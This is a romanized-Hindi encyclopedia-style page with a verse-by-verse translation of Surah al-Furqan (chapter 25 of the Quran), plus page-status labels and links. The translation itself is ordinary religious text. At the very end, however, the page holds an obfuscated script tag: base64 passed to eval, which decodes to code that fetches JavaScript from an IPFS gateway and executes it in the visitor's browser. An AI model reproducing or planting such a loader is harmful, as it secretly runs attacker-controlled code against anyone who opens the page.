अल-फ़ुरक़ान

al-furaqan islam dharm ke pavitr granth quran ka 25vaan soora (adhyay) hai jisamean 77 ayatean hoti haian.
25:1- (khuda) bahut babarakat hai jisane apane bande (mohammad) par quran nazil kiya taki sare jah aaun ke lie (khuda ke azab se) darane vala ho.
25:2- vah khuda ki sare asaman v zamin ki badashahat usi ki hai aur usane (kisi ko) n apana l daka banaya aur n saltanat mean usaka koee sharik hai aur har chiz ko (usi ne paida kiya) phir us andaze se durust kiya.
25:3- aur logoan ne usake siva doosare doosare mabood bana rakhean haian jo kuchh bhi paida nahian kar sakate balki vah khud doosare ke paida kie hue haian aur vah khud apane lie bhi n nuqasan par qaboo rakhate haian n napha par aur n maut hi par ekhtiyar rakhate haian aur n zindagi par aur n marane bad ji uthane par.
25:4- aur jo log kaphir ho ge bol uthe ki ye (quran) to nira jhooth hai jise us shakhs (rasool) ne apane ji se gadh liya aur kuchh aur logoan ne is iphatira paravazi mean usaki madad bhi ki hai.
25:5- to yaqinan khud un hi logoan ne zulm v phareb kiya hai aur (ye bhi) kaha ki (ye to) agale logoan ke dhakosale haian jise usane kisi se likhava liya hai pas vahi subah v sham usake samane padha jata hai.
25:6- (ai rasool) tum kah do ki isako us shakhs ne nazil kiya hai jo sare asaman v zamin ki poshida batoan ko khoob janata hai beshak vah b da bakhshane vala meharaban hai 25:7- aur un logoan ne (ye bhi) kaha ki ye kaisa rasool hai jo khana khata hai aur bazaroan mean chalata hai phirata hai usake pas koee pharishta kyoan nahian nazil hota ki vah bhi usake sath (khuda ke azab se) darane vala hota.
25:8- (kam se kam) isake pas khazana hi khazana hi (asaman se) gira diya jata ya (aur nahian to) usake pas koee bag hi hota ki usase khata (pita) aur ye zalim (kuphfar mominoan se) kahate haian ki tum log to bas aise adami ki pairavi karate ho jis par jadoo kar diya gaya hai.
25:9- (ai rasool) zara dekho to ki in logoan ne tumhare vaste kaisi kaisi phabattiyaan gadhi haian aur gumarah ho ge to ab ye log kisi tarah rah par a hi nahian sakate.
25:10- khuda to aisa barabarakat hai ki agar chahe to (ek bag kya chiz hai) isase behatar bahutere aise bagat tumhare vaste paida kare jin ke niche naharean jari hoan aur (bagat ke alava unamean) tumhare vaste mahal bana de.
25:11- (ye sab kuchh nahian) balki (sach yooan hai ki) un logoan ne qayamat hi ko jhooth samajha hai aur jis shakhs ne qayamat ko jhooth samajha usake lie hamane jahannum ko (dahaka ke) taiyar kar rakha hai.
25:12- jab jahannum in logoan ko door se dakhegi to (josh khaegi aur) ye log usake josh v kharosh ki avaz suneangean.
25:13- aur jab ye log zaziroan se jak dakar usaki kisi tang jagah me jhoank die jaeange to us vakt maut ko pukareange.
25:14- (us vakt unase kaha jaega ki) aj ek maut ko n pukaro balki bahuteri mautoan ko pukaro (magar isase bhi kuchh hone vala nahian).
25:15- (ai rasool) tum poochho to ki jahannum behatar hai ya hamesha rahane ka bag (behasht) jisaka parahezagaroan se vayada kiya gaya hai ki vah un (ke amal) ka sila hoga aur akhiri thikana.
25:16- jis chiz ki khvahish kareangean unake lie vahaan maujood hogi (aur) vah hamesha (usi hal mean) raheangean ye tumhare paravaradigar par ek lazimi aur maanga hua vayada hai.
25:17- aur jis din khuda un logoan ko aur jinaki ye log khuda ko chho dakar parasatish kiya karate haian (unako) jama karega aur poochhega kya tum hi ne hamare un bandoan ko gumarah kar diya tha ya ye log khud rah raste se bhatak ge the.
25:18- (unake mabood) arz kareangean- subahan allah (ham to khud tere bande the) hamean ye kisi tarah zeba n tha ki ham tujhe chho dakar doosare ko apana saraparast banate (phir apane ko kyoan kar mabood banate) magar bat to ye hai ki too hi ne inako bap dadaoan ko chain diya-yahaan tak ki in logoan ne (teri) yad bhula di aur ye khud halak hone vale log the.
25:19- tab (kafiroan se kaha jaega ki) tum jo kuchh kah rahe ho usamean to tumhare maboodoan ne tumhean jhoothala diya to ab tum n (hamare azab ke) tal dene ki sakat rakhate ho n kisi se madad le sakate ho aur (yad rakho) tumamean se jo zulm karega ham usako b de (sakht) azab ka (maza) chakhaegean.
25:20- aur (ai rasool) hamane tum se pahale jitane paigambar bheje vah sab ke sab yaqinan bila shak khana khate the aur bazaroan mean chalate phirate the aur hamane tum mean se ek ko ek ka (zariya) azamaish bana diya (musalamanoan) kya tum ab bhi sabr karate ho (ya nahian) aur tumhara paravaradigar (sab ki) dekh bhal kar raha hai.
25:21- aur jo log (qayamat mean) hamari huzoori ki ummid nahian rakhate kaha karate haian ki akhir pharishte hamare pas kyoan nahian nazil kie ge ya ham apane paravaradigar ko (kyoan nahian) dekhate un logoan ne apane ji mean apane ko (bahut) b da samajh liya hai aur b di sarakashi ki.
25:22- jis din ye log pharishtoan ko dekheange us din gunah garoan ko kuchh khushi n hogi aur pharishtoan ko dekhakar kaheange door daphan.
25:23- aur un logoan ne (duniya mean) jo kuchh nek kam kie haian ham usaki taraph tavajjoan kareangean to ham usako (goya) u dati huee khak banakar (barabad kar) degean.
25:24- us din jannat valoan ka thikana bhi behatar hai behatar hoga aur aramagah bhi achchhi se achchhi.
25:25:aur jis din asaman badali ke sabab se phat jaega aur pharishte kasarat se (jook dar zook) nazil kie jaeange.
25:26- use din ki saltanal khas khuda hi ke lie hogi aur vah din kaphiroan par b da sakht hoga.
25:27- aur jis din julm karane vala apane hath (mare afasos ke) katane lagega aur kahega kash rasool ke sath maian bhi (din ka sidha) rasta pak data.
25:28- hae aphasos kash mai phala shakhs ko apana dost n banata.
25:29- beshak yaqinan usane hamare pas nasihat ane ke bad mujhe bahakaya aur shaitan to adami ko rusava karane vala hi hai.
25:30- aur (us vakt) rasool (baragahe khuda vandi mean) arz karegean ki ai mere paravaradigar meri qaum ne to is quran ko bekar bana diya.
25:31- aur hamane (goya khud) gunahagaroan mean se har nabi ke dushman bana die haian aur tumhara paravaradigar hidayat aur madadagari ke lie kafi hai.
25:32- aur kuphphar kahane lage ki unake oopar (akhir) quran ka kul (ek hi dapha) kyoan nahian nazil kiya gaya (hamane) is tarah isalie (nazil kiya) taki tumhare dil ko taskin dete rahean aur hamane isako thahar thahar kar nazil kiya.
25:33- aur (ye kuphphar) chahe kaisi hi (anokhi) masal bayan kareange magar ham tumhare pas (unaka) bilkul thik aur nihayat umda (javab) bayan kar degean.
25:34- jo log (qayamat ke din) apane apane mohasinoan ke bal jahannum mean hakae jaegean vahi log badatar jagah mean hogean aur sab se jyada rah rast se bhatakane vale.
25:35- aur alabatta hamane moosa ko kitab (taurait) ata ki aur unake sath unake bhaee harun ko (unaka) vazir banaya.
25:36- to hamane kaha tum donoan un logoan ke pas ja jo hamari (kudarat ki) nishaniyoan ko jhuthalate haian jao (aur samajhao jab n mane) to hamane unhean khoob barabad kar dala.
25:37- aur nooh ki qaum ko jab un logoan ne (hamare) paigambaroan ko jhuthalaya to hamane unhean dubo diya aur hamane unako logoan (ke hairat) ki nishani banaya aur hamane zalimoan ke vaste dardanak azab taiyar kar rakha hai.
25:38- aur (isi tarah) ad aur samood aur nahar valoan aur unake daramiyan mean bahut si jamaatoan ko (hamane halak kar dala).
25:39- aur hamane har ek se misalean bayan kar di thian aur (khoob samajhaya) magar n mana.
25:40- hamane unako khoob satyanas kar chho da aur ye log (kuphfare makka) us basti par (ho) ae haian jis par (pattharoan ki) buri barish barasaee gayi to kya un logoan ne isako dekha n hoga magar (bat ye hai ki) ye log marane ke bad ji uthane ki ummid nahian rakhate (phir kyoan eeman laean).
25:41- aur (ai rasool) ye log tumhean jab dekhate haian to tum se masakhara pan hi karane lagate haian ki kya yahi vah (hazarat) haian jinhean allah ne rasool banakar bheja hai (maz allah).
25:42- agar butoan ki parasatish par sabit qadam n rahate to is shakhs ne hamako hamare maboodoan se bahaka diya tha aur bahut jald (qayamat mean) jab ye log azab ko dekheangean to unhean maloom ho jaega ki rahe rast se kaun jyada bhataka hua tha.
25:43- kya tumane us shakhs ko bhi dekha hai jisane apani nafasiyani khvahish ko apana mabood bana rakha hai to kya tum usake zimmedar ho sakate ho (ki vah gumarah n hoan).
25:44- kya ye tumhara khyal hai ki in (kuphfaroan) mean aksar (bat) sunate ya samajhate hai (nahian) ye to bas bilkul misal janavaroan ke haian balki un se bhi jyada rah (rast) se bhatake hue.
25:45- (ai rasool) kya tumane apane paravaradigar ki kudarat ki taraph nazar nahian ki ki usane kyoankar saye ko phaila diya agar vah chahata to use (ek hi jagah) thahara hua kar deta phir hamane aphatab ko (usaki shinakht ke vaste) usaka rahanuma bana diya.
25:46- phir hamane usako tho da tho da karake apani taraph khich liya.
25:47- aur vahi to vah (khuda) hai jisane tumhare vaste rat ko parda banaya aur niand ko rahat aur din ko (karobar ke lie) uth kh da hone ka vakt banaya.
25:48- aur vahi to vah (khuda) hai jisane apani rahamat (barish) ke age age havaoan ko khush khabari dene ke lie (pesh khema bana ke) bheja aur ham hi ne asaman se bahut pak aur suthara hua pani barasaya.
25:49- taki ham usake zarie se murda (viran) shahar ko zinda (abad) kar dean aur apani makhalookat mean se chaupayoan aur bahut se adamiyoan ko usase serab karean.
25:50- aur hamane pani ko unake daramiyan (tarah tarah se) taqasim kiya taki log nasihat hasil karean magar aksar logoan ne nashukri ke siva kuchh n mana.
25:51- aur agar ham chahate to har basti mean zarur ek (azabe khuda se) darane vala paigambar bhejate.
25:52- (to ai rasool) tum kaphiroan ki itaat n karana aur unase quran ke (dalael) se khoob l doan.
25:53- aur vahi to vah (khuda) hai jisane darayaoan ko apas mean mila diya (aur bavajood ki) ye khalis mazedar mitha hai aur ye bilkul khari k dava (magar donoan ko milaya) aur donoan ke daramiyan ek a d aur mazaboot ot bana di hai (ki g dab d n ho).
25:54- aur vahi to vah (khuda) hai jisane pani (mani) se adami ko paida kiya phir usako khanadan aur susaral vala banaya aur (ai rasool) tumhara paravaradigar har chiz par qadir hai.
25:55- aur log (kuphfare makka) khuda ko chho dakar us chiz ki parasatish karate haian jo n unhean napha hi de sakati hai aur n nuqasan hi pahuancha sakati hai aur kaphir (aboojahal) to har vakt apane paravaradigar ki mukhalephat par zor lagae hue hai.
25:56- aur (ai rasool) hamane to tumako bas (neki ko jannat ki) khushakhabari dene vala aur (buroan ko azab se) darane vala banakar bheja hai.
25:57- aur un logoan se tum kah do ki mai is (tabalige risalat) par tumase kuchh mazadoori to maangata nahian hooan magar tamanna ye hai ki jo chahe apane paravaradigar tak pahuanchane ki rah pakade.
25:58- aur (ai rasool) tum us (khuda) par bharosa rakho jo aisa zinda hai ki kabhi nahian marega aur usaki hamd v sana ki tasbih padho aur vah apane bandoan ke gunahoan ki vaqiph kari mean kafi hai (vah khud samajh lega).
25:59- jisane sare asaman v zamin aur jo kuchh un donoan mean hai chhah: din mean paida kiya phir arsh (ke banane) par amada hua aur vah b da meharaban hai to tum usaka hal kisi bakhabar hi se poochhana.
25:60- aur jab un kuphpharoan se kaha jata hai ki rahaman (khuda) ko sajada karo to kahate haian ki rahaman kya chiz hai tum jisake lie kahate ho ham us ka sajada karane lagean aur (isase) unaki napharat aur badh jati hai (60) sajada.
25:61- bahut babarakat hai vah khuda jisane asaman mean burj banae aur un burjoan mean (afatab ka) chirag aur jagamagata chaand banaya.
25:62- aur vahi to vah (khuda) hai jisane rat aur din (ek) ko (ek ka) janashin banaya (ye) us ke (samajhane ke) lie hai jo nasihat hasil karana chahe ya shukr guzari ka irada karean.
25:63- aur (khudae) rahaman ke khas bande to vah haian jo zamin par phirautani ke sath chalate haian aur jab jahil unase (jihalat) ki bat karate haian to kahate haian ki salam (tum salamat raho).
25:64- aur vah log jo apane paravaradigar ke vaste sazade aur qayam mean rat kat dete haian.
25:65- aur vah log jo dua karate haian ki paravaradigara ham se jahannum ka azab phere rahana kyoanki usaka azab bahut (sakht aur paedar hoga).
25:66- beshak vah bahut bura thikana aur bura maqam hai.
25:67- aur vah log ki jab kharch karate haian to n phuzool kharchi karate haian aur n tangi karate haian aur unaka kharch usake darameyan ausat darje ka rahata hai.
25:68- aur vah log jo khuda ke sath doosare maboodoan ki parasatish nahi karate aur jis jan ke marane ko khuda ne haram kar diya hai use nahaq qatl nahian karate aur n zina karate haian aur jo shakhs aisa karega vah ap apane gunah ki saza bhugatega.
25:69- ki qayamat ke din usake lie azab doona kar diya jaega aur usamean hamesha zalil v khavar rahega.
25:70- magar (haan) jis shakhs ne tauba ki aur eeman qubool kiya aur achchhe achchhe kam kie to (alabatta) un logoan ki buraiyoan ko khuda nekiyoan se badal dega aur khuda to b da bakhshane vala meharaban hai.
25:71- aur jis shakhs ne tauba kar li aur achchhe achchhe kam kie to beshak usane khuda ki taraph (sachche dil se) haqikaqatan ruju ki.
25:72- aur vah log jo phareb ke pas hi nahi kh de hote aur vah log jab kisi behooda kam ke pas se guzarate haian to burzugana andaz se guzar jate haian.
25:73- aur vah log ki jab unhean unake paravaradigar ki ayatean yad dilaee jati haian to bahare andhean hokar gir nahian p date balki ji lagakar sunate haian.
25:74- aur vah log jo (hamase) arz karate haian ki paravaradigar hamean hamari bibiyoan aur auladoan ki taraph se aauankhoan ki thandak ata pharama aur hamako parahezagaroan ka peshava bana 25:75- ye vah log haian jinhean unaki jaza mean (behasht ke) bala khane ata kie jaeangean aur vahaan unhean tazim v salam (ka badala) pesh kiya jaega.
25:76- ye log usi mean hamesha raheangean aur vah rahane aur thaharane ki achchhi jagah hai.
25:77- (ai rasool) tum kah do ki agar dua nahi kiya karate to mera paravaradigar bhi tumhari kuchh paravah nahi karata tumane to (usake rasool ko) jhuthalaya to an qarib hi (usaka vabal) tumhare sar p dega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-furaqan
• Surah Al-Furqan / সূরা আল-ফুরকান

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>